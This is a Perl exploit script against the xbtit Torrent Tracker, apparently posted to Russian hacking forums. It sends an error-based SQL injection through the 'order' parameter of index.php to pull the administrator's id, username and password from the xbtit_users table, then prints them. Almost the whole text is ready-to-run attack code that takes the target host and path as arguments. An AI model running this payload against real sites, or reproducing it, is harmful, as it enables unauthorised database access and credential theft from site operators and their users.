#!/usr/bin/perl 
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# xbtit Torrent Tracker SQL INJECTION EXPLOIT                #\n";
print "# Author: Ctacok  (Russian)                                  #\n";
print "# Blog : www.Ctacok.ru                                       #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
print "# Hello HAXTA4OK, mailbrush    (Thanks)                      #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "+or(1,1)=(select+count(0),concat((select+concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a)+from+xbtit_users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)";
$doc = get($host.$path."index.php?page=torrents&active=2&order=speed".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):::/){
        print "\n[+] Admin id: : $1";
		print "\n[+] Admin username: $2";
		print "\n[+] Admin password: $3";
}else{
		print "\n My name is Fail, Epic Fail... \n"
}